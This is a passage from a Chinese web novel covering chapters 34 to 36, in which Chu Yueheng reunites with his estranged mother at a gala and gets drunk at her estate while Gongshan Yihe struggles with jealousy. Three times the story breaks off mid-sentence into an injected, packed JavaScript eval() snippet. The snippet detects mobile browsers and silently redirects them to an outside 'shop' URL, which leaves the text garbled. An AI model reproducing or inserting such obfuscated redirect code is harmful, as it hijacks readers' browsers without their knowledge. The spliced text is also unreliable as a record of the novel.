“这是你喜欢我的原因?”褚月恒沉默了一会儿后问道,“你在冰原追求我,是因为我像你爸妈。” “谁追求你了。”戚清棠先娇羞的否认了一下,然后说,“我当时就觉得你长得好看,没别的原因。” “你妈说我是老男人。”褚月恒低下头,把自己美丽的脸凑到戚清棠眼前,“好在漂亮,勉强配得上你。” “我妈比较刻薄,你别把她的话当真。”这回轮到戚清棠安慰褚月恒了,他笑着说,“她愿意夸你一句漂亮,证明你在她眼里,非常非常俊美。她这人看似理智,其实非常颜控,你不必怕她,你这张脸,能把她拿捏的死死的。” “你母亲似乎更喜欢你父亲、魏小姐那种容貌,我觉得我在她那儿并不占优势。明天我要陪她吃饭,你和我一起吗?” 戚清棠连忙摇头:“你要是害怕就叫我哥陪你吧。” 褚月恒佯装生气:“我刚才安慰你半天,你转头就抛弃我。” “没办法,我能力有限嘛。”戚清棠赖皮的笑了笑,又蹭进褚月恒怀里撒娇。 褚月恒下意识挡了戚清棠一下,但很快就反应了过来,抱住了戚清棠,快到没让戚清棠察觉到异常。 抱住戚清棠后,褚月恒迷茫的叹了口气,越发看不清自己的心了。 第二天早上,褚月恒在早饭时间见到了公山易禾。 褚月恒洗漱完,习惯性的先打扮整齐,这才打开房门准备应付可能遇见的每一个人类,他走下旋转楼梯,看到餐厅里正和公山佑笑闹的公山易禾,阳光透过古老的木质窗棂,落在大理石桌面上,公山易禾穿着一身居家服,随意的把手搭在椅子靠背上,金棕色眼睛就像火焰,在阳光下夺目到令人恐惧。 褚月恒猜到公山易禾可能是因为不放心他才来的,而且是昨晚就来了。他明明过来了,却没来打扰他和戚清棠相处,一如既往的贴心到令人感到受宠若惊。 公山佑在面对公山易禾时,就像一个寻常母亲,笑容温和放松,被公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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公山佑从善如流的换话题:“你昨晚不是说要和他俩打招呼,为什么最后没打?” 褚月恒看向公山易禾,公山易禾尴尬的回避:“这不是……看他来正聊着天呢,就没去打扰么。” 褚月恒震惊,昨晚公山易禾开过他俩的房门?他们怎么都没感觉到? 一定是戚清棠哭那会儿,那会儿他俩都不在状态,房间又是套间,比较大,他们很可能听不见开门声。 魏明锦眼睛一亮,想要调戏一句,但一看餐桌上这个气氛,又放弃了,只尴尬的说了句:“都吃饭吧,吃完都还有事呢。” 公山易禾苦笑了一下,摇摇头。 昨夜他驱车赶到公山庄园,一方面是担心褚月恒,一方面也担心戚清棠和母亲相处出问题,所以他一下车就急匆匆去敲戚清棠的门,敲了半天都没人回应。他有些担心,又想着戚清棠的房间是套间,卧室还在里面,外面是影音室,他直接开门也没什么,就直接推开了房门。 谁想到,影音室空荡荡的也没开灯,里面的卧室没关门,昏黄的灯光幽幽的落在门口,里面的对话声也清晰地传出来。 公山易禾知道偷听小情侣讲私密话不好,但他忍不住一直听下去,他第一次知道褚月恒有这样耐心又温柔的一面,他在脑海里描绘褚月恒的表情动作,沉浸在他柔和的声线里不可自拔,而且……他不得不承认自己嫉妒自己的亲弟弟。 人生总不会事事顺意,无论是未能收集完整的基因库,还是得不到的人,公山易禾只能接受现实。 34. 宴会 招待公山佑比褚月恒想象的要容易多了,有公山易禾和李清木顶在前面,褚月恒不需要说太多话。李清木似乎想从公山佑手里套经费,带着公山佑把泊大所有重点实验室都参观了一遍,对公山佑殷勤备至,找点机会就赞美公山佑过往的功绩,把泊大的成功都往公山佑身上归结。 褚月恒在旁边一边听一边背句式,他虽然情商短板,但记忆力好,以后轮到他独立招待领导时,他就把词儿往李清木打好的模板里套。 “你准备晚礼服了吗?”趁着两位长辈聊天,公山易禾凑到褚月恒身边问道。 “学校有准备。”褚月恒具体不知道是谁办的这事儿,反正是梵七叶联系的人。 “穿漂亮点吧,今晚很重要。”公山易禾意味深长的说。 褚月恒不理解,李清木跟他说这个晚宴宴请了泊岳城的名流,公山佑刚回国,想要去露个面,他们就是去陪公山佑的,不需要特别做什么,就露个脸就行,这种情况下他穿什么有那么重要吗? 但出于对公山易禾的信任,褚月恒还是乖乖答应了跟公山易禾一起去挑晚礼服。 公山易禾一会儿嫌弃这件太轻浮,一会儿又觉得那件过于老成,看上去就像在给他挑新郎服。 “这宴会真的那么重要?”褚月恒拿着他今天试穿的第十一件衣服,无奈的问。 “我就喜欢打扮你。”公山易禾笑着把褚月恒推进试衣间,“这件好,文质彬彬的,一看就乖,你穿肯定好看。” 褚月恒被逗得笑了一下:“行吧。” 公山易禾推褚月恒的手在褚月恒腰间顿了一下,然后迅速挪开,低声说:“总之,你相信我的眼光就行了。” 到了宴会会场,公山易禾就急切地巡视全场,如愿看到了那抹靓丽的身影,银白色卷发,皮肤洁白似雪,狼一般锐利的灰色眼睛带着慵懒的笑,超模祝融这些年似乎没有老,又似乎成熟了许多,浑身透着令人迷恋的气势,完美切合夏国人民喜欢的风格。 公山易禾让记者把褚月恒参加电影颁奖典礼的照片发到网上后,就一直在密切关注祝融的动态,结果没让他失望,祝融果然上钩了。 令他意外的是,祝融没选择私下联系褚月恒,而是选择在一场宴会上远远观望,这种方式进可攻退可守,叫人看不透她打算做什么、对褚月恒又是什么态度。 因此,公山易禾替褚月恒感到紧张,如果祝融对褚月恒的态度是排斥,那他岂不是好心办坏事了? 公山易禾焦虑的看向褚月恒,他看到褚月恒穿着他挑选的礼服,正面无表情的听李清木说话,偶尔浅笑一下,附和一句,讲话时又有着与他冷厉气质不符合的文雅感,怎么会有人不喜欢褚月恒呢? 公山易禾放下心来,专心社交去了。 褚月恒跟着李清木到处认识人,褚月恒试着用他刚从李清木那儿学到的模板和大家聊天,发现效果还挺好的,连公山佑都调侃他说原来昨晚的乖巧老实都是装的,其实是个小滑头。 直到他的余光瞥见那抹银白色的身影,他瞬间明白公山易禾为什么坚持要为他挑礼服。褚月恒整个人僵硬了几秒,平复了一下心情后,他再往祝融那边看去,却发现她已经不在那儿了。 褚月恒愣了一下,心脏和大脑都空白着,他无措的满会场看了一圈,还是没看到她。宴会明明才刚开始,她为什么离开? “寒英小姐,你看到祝融了吗?”褚月恒很久没主动问033问题了。 033飘到褚月恒肩膀上:“她刚才去后花园了,应该是去透气吧。” 褚月恒盯着通往后花园的门,沉默了一会儿后又移开了目光,自顾自去找东西吃了。 033眼睁睁看着褚月恒切了一大块他最不喜欢的甜品,再撒上致死量糖浆,然后就这么盯着那坨食物发呆。 “你可以去找她嘛。”033试探着建议。 “她会回来的。”褚月恒找了个能看见通往花园大门的沙发一坐,就这样干等。 033在旁边干着急,拿褚月恒这个犟种没办法,同样着急的还有在一旁悄悄观望的公山易禾,公山易禾直接就冲进了后花园,他满花园找了一圈,却发现祝融正站在窗边往宴会场看,她看得很认真,表情复杂,叫人看不透她在想什么。 公山易禾悄悄跑到祝融身后不远处,也往窗户里看,他看到李清木正坐在褚月恒身边说些什么,没说一会儿就拉褚月恒起来继续去应酬了,褚月恒似乎有些不情愿,李清木以为他是舍不得没吃完的蛋糕,把那沾满糖浆的蛋糕往褚月恒手里一塞,然后继续拉着他走。 褚月恒被搞得有些无奈,但还是乖乖端着蛋糕跟着李清木走了。 直到窗户里不再有褚月恒的身影,祝融才收回视线,她整理了一下礼服裙,又进入了会场,短暂的跟她熟识的人告别后,她干脆利落的离场了。 祝融走了,宴会才刚刚开始。 褚月恒心中五味成杂,虽然他一直有自知之明,知道拥有褚冰河血统的他一定不讨母亲喜欢,但心里知道和亲自感受还是不太一样的。 她见到他后感到很失望,哪怕他长得很像她,哪怕他和她一样离开了北宁村。 “她只是离开了会场,这并不意味着她对你感到失望。”033连忙安慰,“也许是她还没准备好面对在北宁村的回忆,也许她对你太过愧疚以至于不敢接近你,也许她对你产生了误解,你不知道真相是哪个就不要把错误归结到自己身上。” “我知道。”褚月恒冷冷的说,“你不要再说这件事了。”平白显得他像个绝望的可怜虫。 几个月前他还自认为是神的孩子,凌驾于凡人之上,而现在,他从未如此清晰的意识到自己是留着一半血液愚蠢的杂种,浑身上下都是错误的。 戚清棠的电话打断了这场残忍的自我审判:“月恒,听说你们这个晚宴邀请季桉林了,是真的吗?” 褚月恒记不得季影帝的脸了,只能说:“要不你问问公山教授?” “不能跟我哥说,不然我妈就要知道了,她不喜欢我追星的。”戚清棠鬼鬼祟祟的凑近镜头,似乎是要和褚月恒说悄悄话。 看他这可爱又幼稚的模样,褚月恒的坏心情莫名其妙就被治愈了:“好吧,那你把季影帝的照片发过来,我帮你找找。” 一旁的洛星临也激动的凑过来:“快把镜头转过去!” 褚月恒比着照片满场巡视了一圈都没找到人。 洛星临不甘心道:“你再去小花园看看,他一定是去小花园玩了。” 褚月恒只能再去小花园巡视,还不能放过每个角落,野猫都被他发现了三只,手机那边还传来戚清棠和洛星临那此起彼伏的‘喵喵喵’声。 钻过一片竹林,褚月恒的礼服已经一片狼藉,褚月恒觉得等这事儿办完他就得立刻离场,免得给李院长丢脸。 “往前看看,说不定还有小猫。”戚清棠激动地说。 褚月恒无奈,他们不是在找影帝吗?怎么又变成找猫了? 越往前走,褚月恒越是听到男人和女人的絮语声,褚月恒犹豫了一下说:“再走就偷听别人讲话了。” “什么人!”可惜他已经被人发现了。 竹林里钻出一对狗狗祟祟的男女,男的很眼熟,长发及肩、媚眼如丝,正是平日里清雅如仙的季桉林,女的更眼熟……是戚清棠的表妹戚语冰。 视频里,戚清棠大怒:“戚语冰,你居然背着蒋哥和男明星乱搞。” 洛星临也大怒:“季桉林,你不是说你单身吗?” 他俩是说爽了,反正他俩的肉身在百里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271814|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之外不怕尴尬,褚月恒就不一样了,他只能微笑:“打扰了,我这就出去。” 戚语冰无语扶额:“怎么哪儿都有你。” 褚月恒立刻反唇相讥:“我是来找猫的,你是来干嘛的?” 戚语冰理直气壮的说:“作为投资商,我是来指导季影帝演戏的。告诉你手机里那两个蠢货,别乱传闲话,不然我跟他俩没完。” 手机里立刻传来戚清棠和洛星临的叫骂,七嘴八舌的,也听不清他俩具体说了些什么。 褚月恒好想走,好想挂电话,但他不能惹手机里俩祖宗生气,只能尴尬的拿着手机站在原地等他俩说完。 季桉林看褚月恒的目光都染上了同情,戚语冰不耐烦的打断道:“你俩有种当面和我对峙来,别隔着手机狗叫!快挂了吧,我都替你们觉得丢人!” 洛星临还想说些什么,戚语冰直接伸手操作褚月恒的手机挂了电话,褚月恒松了口气,露出一个礼貌性的微笑:“打扰了,我这就走。” 说完后,落荒而逃。 “他也不容易啊。”季桉林有感而发。 戚语冰毫不留情道:“他活该,看上那么个货色,谁逼他了?” 季桉林瞥了戚语冰一眼,小声说:“那你不也活该,赶紧和你家货色离婚,不然我就不伺候你了。” “那我就撤资。”戚语冰无情道。 季桉林老实了:“其实只要你家货色不回家,我也不是不能忍。” “他要是肯回家,哪儿还轮得到你。”戚语冰冷笑。 褚月恒的手机一直在响,戚清棠又打过来了,显然是还想和戚语冰斗嘴。褚月恒拿着手机左右为难,十分想把这玩意儿扔会场门口那喷泉池子里。 旁边的保安试探着问:“您是要先上车,还是先接电话?我去把您的车开过来?” 褚月恒面目表情的看向保安:“要不你帮我接电话吧。” 保安震惊:“这不好吧,我说什么啊?” 褚月恒继续面无表情:“就说我被车压死了。” 保安大惊:“怎么能咒自己呢?呸呸呸!” “月恒!”还好有人打断了这走向奇怪的对话,褚月恒抬起头,看见了站在不远处的祝融,或者称呼她为符于渊。 褚月恒下意识把聒噪的手机塞进保安怀里,然后小心地一步步朝符于渊走过去:“你在叫我吗?” 符于渊有些拘谨的将手交握在身前,不好意思的笑着点点头:“我不知道你喜欢什么,自作主张给你挑了礼物。” 然后她指了指身后的跑车:“你喜欢车吗?不喜欢的话,我还有表。” 褚月恒眼见她从包里像搞批发一样拿出一堆造型各异的名表,说实话,这群名表这么胡乱堆在一起显得很像是地摊货。 “对了,”符于渊飞快的说,“我是你母亲。” 快到褚月恒差点没听清。 然后符于渊又继续说:“所以,想送你点礼物,虽然距离你生日还有很久,但是我这些年都没送过你生日礼物,就想着补送一下。” “那……倒不用。”褚月恒迟疑着回答。 符于渊观察着褚月恒的神情,小心地问:“你不喜欢吗?” “不太喜欢。”褚月恒实事求是的讲。 “那你喜欢什么?”符于渊问完后又补充道,“你要是不想告诉我,我给你卡你自己去买也行。” 然后符于渊又开始从她包里找卡。 事情发展到这一步,褚月恒有点不知道该怎么处理了:“您为什么一定要送我礼物?” 符于渊的动作顿住了,她犹豫了一下,才说:“因为我做错了事,担心你不愿意和我有交集,就希望和你缓和一下关系。” “我没觉得你做错什么。”褚月恒客观的讲。 35. 重逢 “那你愿意和我聊聊你这些年过得怎么样吗?”符于渊这辈子大概第一次这样低声下四的求人搭理她,她表现得无所适从。 褚月恒被她这拘谨的样子搞得有些心酸,刚想要答应,就看见一辆熟悉的车停在了会场门口,戚清棠和洛星临拉拉扯扯的下了车,直奔褚月恒而来。 褚月恒立刻意识到,如果他再不跑,就要在亲妈面前丢人了,人与人相处,第一印象很重要的,褚月恒并不想让他母亲觉得他品味不好,或者觉得他是个不明事理的可怜虫。 “您要去哪儿聊?”褚月恒快速问符于渊。 “我家?”符于渊小心翼翼的问。 “可以,走吧。”褚月恒拉着符于渊的胳膊,飞速走进她刚准备送他的跑车里,点火发动,在戚清棠不敢置信的目光中消失。 戚清棠立刻再次拨通褚月恒的手机,保安拿着手机和戚清棠无言相望,保安犹豫着说:“褚先生说他被车压死了。” “呵,无非是嫌我给他丢人罢了。”戚清棠夺过手机,转身走了。 保安喃喃道:“还第一次见怕男媳妇儿怕成这样的。” 符于渊坐在副驾,默默给褚月恒调好导航:“我住在花溪庄园,有点远,你介意今晚睡我那儿吗?” “晚点回没关系。”褚月恒隐晦的拒绝了。 “那我送你回去,”符于渊眼巴巴的看着褚月恒,“你不介意我知道你住哪儿吧?” 褚月恒哭笑不得:“怎么,你要绑架我?” 他俩不尴不尬的沉默了一会儿,褚月恒什么都没想,符于渊则在绞尽脑汁寻找话题。在出门见到符于渊的那一刻,褚月恒的心就定了,可符于渊的心还在七上八下。 “那个追你的男孩儿是戚砚琛的儿子?”符于渊刚说完就后悔了,这不是她最想知道的。 “他想问我他哥哥去哪儿了,我们不熟。”褚月恒立刻撇清关系,“我和他哥哥是同事。” 符于渊疑惑的看了褚月恒一眼,没再继续这个话题:“李清木院长似乎很赏识你,我们当年是泊大同届,她上学时就是天才人物了。” 这一刻,褚月恒才真切的感觉符于渊的生活和他的生活产生了交集。不是寒冷黑暗的冰原中的那次失败的缘分,而是在这里,阳光明媚泊岳城。他们选择了同样的地方,走了同样的路。她不只是存在于灰暗的过往中,她还站在他的未来里。 褚月恒对自己成为第十位院长这件事,产生了一点别样的动力。 “你喜欢泊岳城吗?”褚月恒就此展开话题,想要更了解符于渊一点。 “我在泊岳居住了十年,却还时常被这个城市美的吓一跳。”符于渊轻松的笑了,“在泊大念书不能算作我这辈子最快乐的日子,但那可能是我这辈子第一次体会幸福的滋味,第一次总是不一样的,我到现在还会时常回味。比如图书馆东南角的那扇古老的落地窗,外面是一片浓艳的绿,比如宿舍外面的紫金花树,上面总有喜鹊在吵架。” 褚月恒听的心中酸涩,轻声问:“那您后来为什么搬走了?” “选择搬去浮海城是为了扩大我的化妆品牌,浮海城是时尚之都,更适合我发展。但浮海城也是一座美丽的城市,”符于渊感慨道,“等你休假,跟我去浮海度假吧,我在那儿有一片海滩。” 褚月恒附和着:“嗯。” 符于渊看向褚月恒冷峻的侧脸,他不笑的时候显得很不好亲近,会令人心生自卑和恐惧,符于渊却觉得骄傲,她的孩子不光长得俊美,还美的很威风。车里一片黑暗,街边路灯的光线时不时透进来,符于渊认真的端详着褚月恒,发现这孩子长得和她实在太过相像,简直像是她有丝分裂出来的。 身材大概是像了褚冰河,高大结实,这样也好,褚冰河虽然愚钝,但他身体素质非常好,家里几代传承长寿基因,是具有基因优势的家族……咳咳,除开智商以外,具有基因优势。不过问题不大,孩子的智商都随妈妈的,她聪明就够了。 这一路,一直都是她在说,这孩子就耐心地听着,却丝毫没有讲述自己经历的打算。不知是对她心有芥蒂,还是本来性格就戒心强,不知道褚冰河对他好不好。 “你父亲……对你怎么样?”符于渊有些愧疚的低下头,认为自己这个抛弃孩子的亲娘,肯定是比不上一个人把孩子拉扯大的亲爹,她冒然问出这话,可能会被褚月恒视为冒犯褚冰河,所以她又补充了一句,“他从小就抚育他那几个弟弟,自然是会照顾小孩的。” 褚冰河是全村皆知的好哥哥,又当爹又当妈,拉扯大几个弟弟,牺牲自己不求回报。符于冰觉得他对自己的孩子只会更好,不像她,她天生就比较自私,舍己为人这个词不适合她。 其实当年抛弃褚月恒时,她没有任何心理负担。今晚来见褚月恒之前,她也只是想着自己现在有钱了,如果褚月恒需要,她就让褚月恒财富自由,至于什么培养母子感情,或者什么表达愧疚和歉意,这些她都没想过。 她这辈子没真心和谁道过歉,也从未因为任何事情责怪过自己,天错地错都不可能是她的错。可看到褚月恒的瞬间,她被一种深刻的感情击溃了。 褚月恒不仅仅是一个和她有血缘关系的小孩,她从褚月恒身上感受到了同类的气息,就算褚月恒不是她的孩子,她也会喜欢褚月恒的。 偏偏褚月恒又是她的孩子,长得和她如此相像,威风又漂亮,可看上去比她年轻时还要不开心,自负如她也忍不住开始责怪自己,哪个被亲娘抛弃的小孩能开心的起来? 就算她当年不得不离开,在有能力后也该回去看看褚月恒的。 符于渊突然觉得自己原本准备的补偿有些拿不出手了,她不知道该怎么和褚月恒修复关系,这辈子也从未低声下四求过人,只能笨拙的把自己带过来的东西都拿出来,眼巴巴的希望褚月恒给她一个弥补的机会。 褚月恒不知道怎么回答符于渊这个问题,符于渊突然提起褚冰河令他感到紧张,他还是觉得符于渊会嫌弃他身上的另一半血脉:“我和他并不相像。” 符于渊没想到褚月恒会这样回答,她下意识点点头:“确实,你外貌上随我,聪明也随我。” 褚月恒勾了一下唇角,还是有点忐忑:“那我有随父亲的地方吗?” “看上去这结实的身板是随他了,”符于冰笑着说,“这你可千万要随父亲,你太爷爷和太奶奶都活了一百来岁。” “我爷爷去年刚死。”褚月恒平静地说。 “啊?”符于渊没想到基因优势居然在爷爷辈被打破了,顿时有种买东西被销售骗了,回家用了才发现的感觉,“那你奶奶身体还好吗?” 褚月恒想起那么骂起人来中期十足的健硕老太,点点头:“非常好。” 符于渊舒了口气:“这还差不多,你放心,我家这边基因也不差的,你姥姥姥爷今年也都八十多了,都还健硕。” 褚月恒想起把自己亲妈扔到神庙后就再也没管过的姥姥姥爷:“这不重要。我其实想问,您刚才说希望我像父亲一样健康,您不是很讨厌父亲吗?” 符于渊看向褚月恒,突然就懂了:“你是怕我嫌弃你是褚冰河的孩子?” 褚月恒有些难为情,但还是点点头。 “我和他的婚姻的确不顺利,”符于渊的神色坦荡潇洒,“但他是我选的,和他生孩子也是我选的,我不怪自己,更不怪你。我当年看上他身体强壮、贤惠顾家,这才嫁给了他。我自小在神庙里长大,身边只有神像陪伴,你父亲抚育弟弟、伺候父母,心里总惦记着一大家子人,还总带着他抓的鱼上山来看我,像照顾他弟弟们一样照顾我,他给我了家的感觉。我愿意和他生孩子,我觉得有他在,我的孩子不用像我儿时那样孤独,这挺好的。” 身边只有神像的陪伴,这句话让褚月恒想到了自己,其实在他的孩提时代,身边也只有神像陪伴,母亲的计划落空了。 符于渊继续说:“但是,婚姻生活和我想象的不一样,褚家人也从未真的把我当做亲人,所以结婚后我总会梦到极夜和神庙之后的深渊,总之,情况很复杂。对不起,我实在太想逃离了,所以我离开了。” “这些年,我一直都没有后悔过,”符于渊试探着将手放在褚月恒手上,“直到看见你的那一刻。” 褚月恒僵住了。 “你刚出生时,我似乎并没有产生足够的催产素,”符于渊握紧褚月恒的手,“但你长成了现在的你,我……为你骄傲。” 褚月恒舒了口气,笑了:“我也为你骄傲。” 花溪庄园如同其名字一般,坐落在漫山花海中,似乎连空气都染上了芬芳的气息。夜深了,家里的厨师早就下班,符于渊亲自给褚月恒做鳕鱼汤和蓝莓面包,褚月恒熟练地给她打下手。 这期间符于渊一直在讲自己在泊大念书时的趣事,没有强行打探褚月恒的过往,让褚月恒颇感放松。 把菜端上桌后,符于渊拿出一瓶自己酿的蓝莓果酒:“这是咱们的特产,你来泊岳这么久,肯定想念这一口了。” 褚月恒都没喝过这玩意儿,又何谈想念:“我不喝酒。” “今天我们都累了,喝点放松一下吧。”符于渊笑的眉眼弯弯,被夏国人民盛赞的雪狼灰眸闪过动人的温柔。 “可是我待会儿还要开车回去。”褚月恒犹豫着说。 “别担心,我送你回去。”符于渊把清澈的果酒倒进杯子里,馥郁的蓝莓香气非常诱人,“这果酒度数低,可能不合你口味,但其实对身体很好的。” 北宁族的男人都喜欢烈酒,褚月恒除外。 盛情难却,褚月恒试探着尝了一口,味道就像是上好的蓝莓果汁,褚月恒的眼睛亮了一下,然后又尝了一口,感觉有点渴,干脆喝完了一杯。 “你喜欢就好,我酒窖里还有一箱子,待会儿装你后备箱。”符于渊殷勤的给褚月恒夹菜,“尝尝我做的鳕鱼,这是我的拿手好菜。” 褚月恒迷蒙的点点头,感觉自己的整个脸烧了起来,他夹起一块鳕鱼,但筷子一抖,鱼肉又滑溜溜的掉了下去,然后他就抬起头眼巴巴的看着符于渊:“你说和褚冰河在一起的时候都是他做家务,为什么你烧菜这么好吃?” “你都没吃到就知道好吃了。”符于渊被逗乐了,她把鱼肉夹起来,怼到褚月恒嘴边,“是不是在北宁族用叉子用多了,不习惯用筷子?” 褚月恒乖乖吃了一口鱼肉,严肃的点头:“你的厨艺非常优秀,而且我们北宁族不用筷子吃饭,我们用手。” 符于渊惊讶的看向褚月恒,见他脸色有点发粉,就大胆的伸手碰了一下他的脸:“你喝醉了?” “没有。”褚月恒坚定地否认,并把符于渊刚给他满上的蓝莓汁一口喝光,“我渴了。” “这果酒还不到十度,你这酒量……”符于渊哈哈大笑。 “别嘲笑我。”褚月恒慢悠悠的眨巴着眼睛,认真地说,“你再不停下,我就要嘲笑你了。” “你能嘲笑我什么?”符于渊洗耳恭听。 “你的头发很好笑,就像你已经八十岁了。”褚月恒眨巴着眼睛,慢悠悠的说。 符于渊脸上的笑容消失了:“咱们族人是不是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271815|198134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你和他们不一样而欺负你了。” 褚月恒无辜的回望符于渊,不吱声了。 符于渊拿褚月恒没办法,无奈道:“怎么又不说话了?” “喝醉了,”褚月恒继续无辜,并平静的转身,走向那一看就舒服的露台沙发:“我要睡觉。” 符于渊目瞪口呆的看着褚月恒打开通往露台的玻璃门。 “睡觉不在那儿。”符于渊连忙追过去,把跑到露台的出月恒拉回来,山里晚间的夜风是很冷的,一个只穿一层单衣的醉鬼不适合去那里。 符于渊把褚月恒带到主卧隔壁的客房:“睡吧,我去给你找睡衣。” 褚月恒打量了一圈房间,觉得不如露台好,于是默默转身,执拗的走向露台。 “你去哪儿?”符于渊再次把到处游荡的褚月恒拉回来,“不是想睡觉吗?” 褚月恒思考了一会儿,说道:“这儿太热。” 符于渊松了口气:“我给你开空调。” “你还没回答我的问题,”褚月恒拉住符于渊的袖子,“不是说褚冰河贤惠吗?为什么不是他做饭?” 符于渊叹了口气,只能耐心地解释:“咱们北宁族的家务非常多,比不得科技发达的泊岳。你看,生活要去树林里砍木头,吃鱼要去海里抓,房子要自己动手修缮,后院的厚雪几乎每天都要铲,这些活儿都是你父亲干的。我只需要做饭,收拾一下房间,已经很轻松了。” 褚月恒点点头,懂了:“你是在跟我说他的好话。” 符于渊无奈的笑了:“也不算吧,我只是客观评价他。我猜他对你不好,不然你不会一直骂他蠢货。” 符于渊轻轻握住褚月恒的手,仰头看着褚月恒,满眼骄傲:“你像我,和他生活在一起,一定不快乐。但是你不是拥有一半蠢货基因的人,你母亲也不是沉浸在羞愧里的失败者。你继承了我的聪明和他的强壮,你比我们两个要更好。” 褚月恒沉寂了下来,在他醉醺醺的大脑里,开始隐约的意识到,他其实渴望从符于渊嘴里听到辱骂褚冰河的话。也许是因为过去经年累月的怨恨无处分享,也许……是因为他需要一个正当的理由摆脱不孝顺褚冰河的愧疚感。 不管是哪个原因,都不是一个成年人撒酒疯的理由。 想明白这一点后,褚月恒开始努力找回自己的理智:“我还有工作没完成,得回泊大。” 符于渊惊讶道:“可是已经半夜十二点了。” 褚月恒迟钝的眨了眨眼,思考了一会儿,然后说:“我晚上工作,白天谈恋爱。” “那你什么时候睡觉?”符于渊瞪大眼睛,“什么恋爱需要用一整个白天谈?” 褚月恒默默转过身,背对着符于渊往外走:“你好凶。” 符于渊哭笑不得的扯住乱跑的褚月恒,哄道:“我送你回泊大还不行吗?你别乱跑了,跟我走。” 一坐上车,在褚月恒昏昏欲睡之间,符于渊一直在唠叨睡觉的重要性,褚月恒越听越困,没一会儿就陷入梦境了。 车程只有短短一小时,符于渊把车停在泊大实验楼下面,帮褚月恒把座椅靠背调低,然后就默默的看褚月恒睡觉。 褚月恒微微转了个身,符于渊没忍住,小心翼翼的凑过去,抱住了他。 戚清棠从褚月恒家二楼将车里纠缠在一起的“狗男女”看得清清楚楚,他抹了一把眼泪,直接打给亲哥:“哥,褚月恒出轨了,戚语冰也出轨了。” 公山易禾迷蒙的睁开眼,反应了几秒钟,瞪大了眼睛,再反应几秒钟,又困倦的合上眼:“怎么这么晚还不睡,已经一点多了。” “我哪儿还有心情睡觉!”戚清棠巴拉巴拉从和褚月恒视频通话讲起,磨磨唧唧讲了半个多小时。 公山易禾无奈的看着钟表走向两点,突然觉得自己有这么个弟弟真是倒大霉了。 一直以来,他都把戚清棠带给他的麻烦归结于父母没教好,从未对清棠产生过怨怼。但每当他想起昨晚褚月恒对戚清棠的温柔,那令他感到罪恶的嫉妒情绪就会冒出头来。 公山易禾颓废的捂住脸,等电话那头的戚清棠叨叨完,才简练的说:“褚月恒没出轨,那个美女是他亲妈。戚语冰出轨了,但姓蒋的对不起她在先,怪不得她。这都不是什么大事,早点睡吧。” “可是……”戚清棠还想说话,公山易禾不耐烦的按了关机。 他把枕头蒙在自己脸上,觉得自己无可救药了。这辈子第一次心动很美好,却把他陷入了非常不光彩的境地。他有生以来第一次被羞耻感淹没,极高的道德修养与自尊受到前所未有的挑战。 他会在梦里幻想褚月恒安慰戚清棠时的风采,会悄悄用视线描摹褚月恒的侧脸,或者假装和他撞到然后闻他的头发。 他还莫名其妙的迷上了舞台剧,总是在周五夜晚同一时间去看同一场舞台剧,直到他后知后觉的意识到,那是因为那部剧讲的是哥哥抢走了弟弟的妻子。意识到自己迷恋这部剧的原因后,他被愧疚和羞耻吞没,然后他喝了个烂醉,把自家花园踩的一片狼藉,并在第二天醒来后承受更浓烈的羞耻感。 无论他如何庸人自扰,都不会影响到褚月恒分毫。 他还是会在片场为戚清棠端茶倒水,操心那些不适合他操心的琐碎日常,然后在夜晚温柔的开解戚清棠那些在他看来幼稚无聊的小烦恼,并对戚清棠做更亲密的事。 端茶倒水的褚月恒、无微不至的褚月恒、温柔解语花褚月恒、还有忍着羞耻也要配合他八卦的褚月恒,戚清棠可真命好啊,如果是他,一定不舍得让褚月恒这么辛苦。 36. 妒火中烧 褚月恒是在自家卧室醒来的,一睁眼就看到熟悉的美食街,窗外景区的人流密集,看上去至少过了九点。 褚月恒急匆匆的看了眼表,无奈的叹了口气,他耽误了给戚清棠送饭,还耽误了昨天要做的工作。 而且,他似乎是被符于渊从车里弄到卧室的,只能说符于渊的力气还挺大的。 褚月恒习惯性的从床头柜上拿手机,然后震惊的发现自己拿到了,他的手机是怎么从保安手里转移到床头柜上的? 床头柜上贴着粉色的小纸条,上面是戚清棠秀雅的字体:你妈妈说你喝醉了,我和她一起把你抬上楼了,你妈妈长得和你一样高冷,但还挺温柔的。对了,你的手机我给你拿回来了,明早不用急着来找我,你妈妈说她要给你做早饭,享受和妈妈在一起的时间吧。 褚月恒松了口气,虽然不知道是哪位好心人帮他安抚的戚清棠……不对,戚清棠只有两个倾诉对象,一个是洛星临,另一个是公山易禾。洛星临每次都是火上浇油的那个,灭火的只能是公山易禾。 “公山教授……”褚月恒不禁感慨,公山教授帮助他太多了,自从遇见公山易禾后,每一件和他有关的事情都是好事。 再次回到剧组,褚月恒有种恍若隔世的感觉,某个瞬间,甚至连戚清棠都变得陌生。 